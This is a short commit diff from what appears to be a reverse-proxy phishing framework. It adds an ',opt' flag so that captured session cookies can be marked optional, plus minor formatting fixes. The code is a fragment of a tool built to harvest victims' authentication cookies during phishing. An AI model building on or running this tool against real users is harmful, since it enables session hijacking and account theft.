added optional cookies, which are saved but not required for capturin…

…g the full session (add ',opt' to cookie name)

core/http_proxy.go

@@ -223,7 +223,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
 					if err == nil {
 						req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
 
-
 						contentType := req.Header.Get("Content-type")
 						if contentType == "application/json" {
 
@@ -250,7 +249,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
 								}
 							}
 
-						}else{
+						} else {
 
 							if req.ParseForm() == nil {
 								for k, v := range req.Form {

core/phishlet.go

@@ -32,6 +32,7 @@ type AuthToken struct {
 	name      string
 	re        *regexp.Regexp
 	http_only bool
+	optional  bool
 }
 
 type Phishlet struct {
@@ -308,6 +309,7 @@ func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error {
 				name:      name,
 				re:        nil,
 				http_only: false,
+				optional:  false,
 			}
 			for i := 1; i < len(st); i++ {
 				switch st[i] {
@@ -317,6 +319,8 @@ func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error {
 					if err != nil {
 						return err
 					}
+				case "opt":
+					at.optional = true
 				}
 			}
 			p.authTokens[hostname] = append(p.authTokens[hostname], at)

core/session.go

@@ -57,7 +57,9 @@ func (s *Session) AddAuthToken(domain string, key string, value string, path str
 	for k, v := range authTokens {
 		tcopy[k] = []AuthToken{}
 		for _, at := range v {
-			tcopy[k] = append(tcopy[k], *at)
+			if !at.optional {
+				tcopy[k] = append(tcopy[k], *at)
+			}
 		}
 	}